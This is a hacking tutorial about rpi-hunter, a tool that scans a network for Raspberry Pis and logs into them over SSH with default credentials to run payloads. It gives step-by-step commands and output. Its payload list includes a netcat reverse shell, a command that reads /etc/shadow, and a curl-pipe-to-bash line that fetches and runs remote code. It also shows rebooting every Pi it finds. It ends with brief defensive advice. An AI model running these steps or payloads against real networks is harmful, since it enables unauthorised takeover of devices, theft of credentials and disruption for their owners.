How To: Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunter

Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunter

When setting up a Raspberry Pi, it's easy to overlook changing the default password. Like many IoT devices, the Raspberry Pi's default Raspbian operating system installs with a widely-known default password, leaving the device vulnerable to remote access. Using a tool called rpi-hunter, hackers can discover, access, and drop custom payloads on any weak Pi connected to the same network.

While this tool is primarily for local networks, it's also capable of discovering and attacking Pi models connected directly to the internet from anywhere. Far from a simple prank, a vulnerable Pi on your network can give hackers unfettered access to other devices on your internal network — and even spread payloads to other vulnerable devices.

Why Default Credentials Are a Problem

Devices still using the default passwords are a considerable risk to connect to a network. Because many IoT devices don't even allow the owner of the device to change the password thanks to hardcoded credentials, they are a favorite target for hackers and automated botnets. Hackers took advantage of these flaws in October 2016, taking out internet service in the United States using thousands of vulnerable computers linked in the Mirai botnet.

This botnet was created by scanning large blocks for the internet for open telnet ports and attempting to log in with default passwords to any device it discovered, taking over vulnerable devices and adding them to the botnet army.

Aside from IoT devices, default credentials are also significant problems in routers. Because the majority of users hook up the device and never change the password to it, anyone with the Wi-Fi password can quickly gain access to the router's setting and administrative portal. From here, it's easy to set up remote administration, load unauthorized firmware to spy on the owner, and make other unauthorized changes to the device like pointing the DNS server to a malicious one.

If you know the default password a device is using, it becomes effortless to automate logging in to the device to perform some sort of action. That's where rpi-hunter comes in. With it, we can use our knowledge of the Raspberry Pi's default password to automate connecting to and controlling the Pi remotely.

Rpi-hunter for Good

If you have more than one Raspberry Pi, rpi-hunter can take the work out of keeping them updated. After locating the Pis on the network, it's easy to go about making modifications to each device individually or access every Pi simultaneously as a group. While rpi-hunter is programmed by default to try the default Raspbian password, you can easily change the password to reflect the ones you used to set up your own Raspberry Pis.

If you have a home or work network with Raspberry Pis you need to configure, you can connect them to the network, enable SSH, and make any changes you need to the entire group as one with rpi-hunter. You could run updates, change the passwords, or pre-load software on the Pis you might need all of them to run later. The ability to connect all of your Pis to the network and issue commands to all of them at the same time is a lot more convenient than having to do so one by one.

Rpi-hunter for Evil

It doesn't take a lot of imagination to guess how you could use the ability to discover and control large groups of Raspberry Pis with default credentials. Aside from stock Raspbian, many Raspberry Pis are pressed into service as OctoPrint controllers or other applications with well-known default passwords. If any of these devices are connected directly to the internet, rpi-hunter can discover them over the internet and begin issuing commands.

The risk of forgetting to change your password for the owner of a Raspberry Pi is in allowing a stranger to control it remotely and potentially gain a beachhead from which to infect your network further. The average user who sets up and forgets about a Raspberry Pi running default credentials may never see symptoms of their device being compromised, even though it may be quietly following instructions like routing stolen credit card transactions through your network or spying on your traffic.

What You'll Need

To follow this guide, you'll need to have a Raspberry Pi model such as the Zero W, 3 Model B+, or 4 running Raspbian or Debian. You should be able to download this operating system for the Raspberry Pi from the Pi Foundation's download page. Once you have your Raspberry Pi running stock Raspbian, you can connect it to your home network using an Ethernet cable (if the Pi has an Ethernet port) or Wi-Fi.

Next, you'll need a computer with Python to run rpi-hunter on. Because Python is cross-platform, you should be able to install it from its download page on the operating system you use.

When you have Python installed and your computer connected to the same network your Raspberry Pi is connected to, then you're ready to begin using rpi-hunter.

Step 1: Get Rpi-hunter Ready

First, we'll need to install any libraries rpi-hunter relies on to run. To do so, open a new terminal window and enter the following commands. If you're not root, you should use sudo before this and other commands in the article.

~# pip install -U argparse termcolor

Requirement already up-to-date: argparse in /usr/local/lib/python3.7/dist-packages (1.4.0)
Requirement already up-to-date: termcolor in /usr/lib/python3/dist-packages (1.1.0)
~# apt -y install arp-scan tshark sshpass

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  dh-python libdouble-conversion1 liblinear3 libtasn1-doc libwireshark11
  libwiretap8 libwscodecs2 libwsutil9
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  cryptsetup cryptsetup-initramfs cryptsetup-run gcc-10-base libgcc-s1
  libgnutls-dane0 libgnutls-openssl27 libgnutls28-dev libgnutls30 libgnutlsxx28
  libhogweed5 libnettle7 libp11-kit-dev libp11-kit0 libsnappy1v5 libtasn1-6
  libtasn1-6-dev libwireshark-data libwireshark13 libwiretap10 libwsutil11
  p11-kit-modules wireshark-common wireshark-qt
Suggested packages:
  keyutils gnutls-bin gnutls-doc geoip-database-extra libjs-leaflet
  libjs-leaflet.markercluster snmp-mibs-downloader wireshark-doc
Recommended packages:
  cryptsetup-nuke-password libtasn1-doc
The following NEW packages will be installed:
  gcc-10-base libgcc-s1 libhogweed5 libnettle7 libwireshark13 libwiretap10
  libwsutil11 sshpass
The following packages will be upgraded:
  arp-scan cryptsetup cryptsetup-initramfs cryptsetup-run libgnutls-dane0
  libgnutls-openssl27 libgnutls28-dev libgnutls30 libgnutlsxx28 libp11-kit-dev
  libp11-kit0 libsnappy1v5 libtasn1-6 libtasn1-6-dev libwireshark-data
  p11-kit-modules tshark wireshark-common wireshark-qt
19 upgraded, 8 newly installed, 0 to remove and 1905 not upgraded.
Need to get 25.0 MB/26.8 MB of archives.
After this operation, 97.9 MB of additional disk space will be used.
...

Once these libraries are installed, we can move on to installing rpi-hunter from the GitHub repository. To clone the repo, you can type the following into a terminal window.

~# git clone https://github.com/BusesCanFly/rpi-hunter.git

Cloning into 'rpi-hunter'...
remote: Enumerating objects: 1, done.
remote: Counting objects: 100% (1/1), done.
remote: Total 138 (delta 0), reused 0 (delta 0), pack-reused 137
Receiving objects: 100% (138/138), 1.49 MiB | 4.27 MiB/s, done.
Resolving deltas: 100% (70/70), done.

Now, navigate to the "rpi-hunter" folder (via the cd command) and the newly downloaded "rpi-hunter.py" is ready for us to run.

~# cd rpi-hunter

Step 2: Enable SSH on Your Raspberry Pi

Connect your Raspberry Pi to the network either via Ethernet cable or Wi-Fi and make sure that SSH is enabled. You can check this by running the raspi-config command in a new terminal window. Select "Interfacing Options," then enable remote command-line access to your Pi using SSH.

Once SSH is enabled, save your options. You may need to reboot. When your device restarts, you can check to see if SSH is running by typing ifconfig to get your IP address in a terminal window on the Pi, and then running the following command on your other device.

~# nmap -p 22 (pi's IP address here)

If the Nmap scan indicates that the port is "open," then SSH is successfully running on your Pi.

Step 3: Install Rpi-hunter on Your Raspberry Pi

Before running the first time, we'll need to make "rpi-hunter.py" executable by running the following command in a new terminal window.

~# chmod +x rpi-hunter.py

Step 4: Run Rpi-hunter

Now, we should be able to run the program and see the various flags we can work with.

~/rpi-hunter# python rpi-hunter.py -h

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List avalible payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner or ARP scan output

Here, we can see a few useful flags off the bat. We can scan a single device with -r or a range of IP addresses, or we can even pull from a list of IP addresses with the -f flag. There are some other options relating to which payload we're going to select, and we can explore the available payloads by typing the following command.

~/rpi-hunter# python rpi-hunter.py --list

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Payloads:
Specify with --payload name

[raincow_install] sudo apt -y install fortune cowsay lolcat
[motd] echo "CHANGE YOUR PASSWORD" > /etc/motd
[raincow_bashrc] sudo echo "fortune | cowsay | lolcat" >> ~/.bashrc
[reverse_shell] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc None None >/tmp/fC
[apt_update] sudo apt update && sudo apt -y upgrade
[shadow] sudo cat /etc/shadow
[rickroll] curl -s -L http://bit.ly/10hA8iC | bash
[gitpip] sudo apt -y install git python-pip

In the payload list, we can see that there are several options to choose from. We can change the message of the day, create a reverse shell to remotely control the Pi, or even customize our own payload to send.

Step 5: Discover Raspberry Pis on the Network

To discover a Raspberry Pi on the network, rpi-hunter will run a series of scans to identify any device listing itself as manufactured by Raspberry Pi. We can run a scan ourselves first and directly put in the IP address here if we want to be precise, but the point here is being able to discover and control devices on the network you otherwise might not know about.

Without knowing anything about the network we're on, rpi-hunter will scan the entire network range for Raspberry Pi devices, add them to a list, and then send a payload to any device that's running default credentials. We can do so with the whoami payload with the following command. I've run mine without first connecting the Pi to the network. (Note: You can also scan a specific IP range by inserting the -r flag and the range before the payload.)

~/rpi-hunter# python rpi-hunter.py --payload whoami

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Interface: wlp1s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
172.16.42.3 60:30:d4:6a:06:c8   (Unknown)
172.16.42.27    b0:19:c6:98:72:ee   (Unknown)
172.16.42.24    1c:36:bb:00:bd:84   (Unknown)
172.16.42.85    8c:85:90:3a:77:14   (Unknown)
172.16.42.15    30:59:b7:08:b2:86   Microsoft
172.16.42.102   8c:85:90:c4:45:08   (Unknown)
172.16.42.117   00:26:bb:1b:97:72   Apple, Inc.
172.16.42.121   8c:85:90:0c:a6:e6   (Unknown)
172.16.42.138   18:65:90:e0:3e:03   (Unknown)
172.16.42.122   d0:c5:f3:9a:eb:2b   (Unknown)
172.16.42.35    10:4a:7d:39:ea:e0   Intel Corporate
172.16.42.75    40:4e:36:3b:63:bf   HTC Corporation
172.16.42.80    34:23:87:ae:e4:41   Hon Hai Precision Ind. Co.,Ltd.
172.16.42.95    3c:2e:f9:bb:87:ad   (Unknown)
172.16.42.105   88:e9:fe:87:c7:74   (Unknown)
172.16.42.112   c4:b3:01:bc:ab:e7   Apple, Inc.
172.16.42.115   36:26:1f:e8:1f:63   (Unknown)
172.16.42.169   a8:bb:cf:13:42:6e   Apple, Inc.
172.16.42.179   8c:85:90:81:9a:9b   (Unknown)
172.16.42.141   8c:85:90:c3:be:3e   (Unknown)
172.16.42.123   a4:34:d9:3f:b3:30   Intel Corporate
172.16.42.164   b8:e8:56:12:84:36   Apple, Inc.

23 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.571 seconds (99.57 hosts/sec). 23 responded

Located 0 Raspi's

Loaded 0 IP's

Sending payload to Pi's
Godspeed, little payloads

As you can see from the output, there were zero Raspberry Pis detected on the network we are currently on. If there was one, we should see a response from the Raspberry Pi that just says "pi" in response to the whoami command.

Step 6: Send a Default Payload

Now, let's go ahead and send one of the default payloads included in the script to a live Raspberry Pi. Let's use the motd payload, which will modify the Pi's "message of the day" which appears when a user logs in via SSH. (Note: If you already located a Pi you want to target, insert the -r flag and its IP address before the payload.)

When we execute this, the script will connect to any Pi we've discovered via SSH using default credentials, and then add "CHANGE YOUR PASSWORD" to the text of the message of the day login screen.

~/rpi-hunter# python rpi-hunter.py --payload motd

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Interface: wlp1s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
172.16.42.15    30:59:b7:08:b2:86   Microsoft
172.16.42.24    1c:36:bb:00:bd:84   (Unknown)
172.16.42.48    b4:9c:df:c1:27:5d   (Unknown)
172.16.42.85    8c:85:90:3a:77:14   (Unknown)
172.16.42.75    40:4e:36:3b:63:bf   HTC Corporation
172.16.42.80    34:23:87:ae:e4:41   Hon Hai Precision Ind. Co.,Ltd.
172.16.42.169   a8:bb:cf:13:42:6e   Apple, Inc.
172.16.42.121   8c:85:90:0c:a6:e6   (Unknown)
172.16.42.182   f4:5c:89:99:57:13   Apple, Inc.
172.16.42.102   8c:85:90:c4:45:08   (Unknown)
172.16.42.97    a4:b8:05:66:a0:64   Apple, Inc.
172.16.42.122   d0:c5:f3:9a:eb:2b   (Unknown)
172.16.42.130   90:61:ae:8f:f4:03   (Unknown)
172.16.42.127   4c:66:41:77:66:37   SAMSUNG ELECTRO-MECHANICS(THAILAND)
172.16.42.98    78:4f:43:59:7b:fb   Raspberry Pi
172.16.42.112   c4:b3:01:bc:ab:e7   Apple, Inc.

21 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.538 seconds (100.87 hosts/sec). 17 responded

Located 1 Raspi's

Loaded 1 IP's

Sending payload to Pi's
Godspeed, little payloads

Sending payload to  172.16.42.98

Success! The next time we log into our Raspberry Pi via SSH, we should see the "CHANGE YOUR PASSWORD" message added.

Step 7: Send a Custom Payload

Now that we can send payloads, let's go beyond the default payloads provided in the script and use a simple custom payload. To do so, we can enclose any commands we want to send the Pi in quotation marks after the --payload flag. To reboot every Pi we detect, we can send the sudo reboot command as our payload. The resulting command looks like this:

~/rpi-hunter# python rpi-hunter.py --payload "sudo reboot"

Located 1 Raspi's

Loaded 1 IP's

Sending payload to Pi's
Godspeed, little payloads

Sending payload to  172.16.42.98
Connection to 172.16.42.98 closed by remote host.

After issuing this command, every Raspberry Pi on the network should instantly restart. If some Pis are using a different password than the default "raspberry" password set by Raspbian, you can change the password rpi-hunter tries with the -c flag.

Accessing Pis using a password other than the default one can be done by running the following command in a terminal window, with the Pi's password added where "toor" is.

~/rpi-hunter# python rpi-hunter.py -c toor --payload "sudo reboot"

Now that you can modify both the password sent and customize your payload, rpi-hunter is ready to control any Pi or group of Pis remotely.

Rpi-hunter Lets You Control Many Pis at Once

Devices with default credentials are easy to access, and rpi-hunter is a powerful and useful proof of concept to show how easy it is to take over large numbers of vulnerable devices at the same time. Make sure to change the default password on any device you're connecting to your network, and never expose devices with default credentials directly to the internet.

If you're worried about someone else accessing your Raspberry Pi, disable SSH when you don't need it, and consider using a key file rather than a simple passphrase to secure SSH access on your device.

I hope you enjoyed this guide to finding and pushing payloads to Raspberry Pis over a network with rpi-hunter! If you have any questions about this tutorial on remotely accessing Raspberry Pis, leave a comment below, and feel free to reach me on Twitter @KodyKinzie.

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

Cover image by Kody/Null Byte

1 Comment

Hello,
Good article once again.
Where does the "motd" payload come from? (I can't find it).
Thank you.

Share Your Thoughts

  • Hot
  • Latest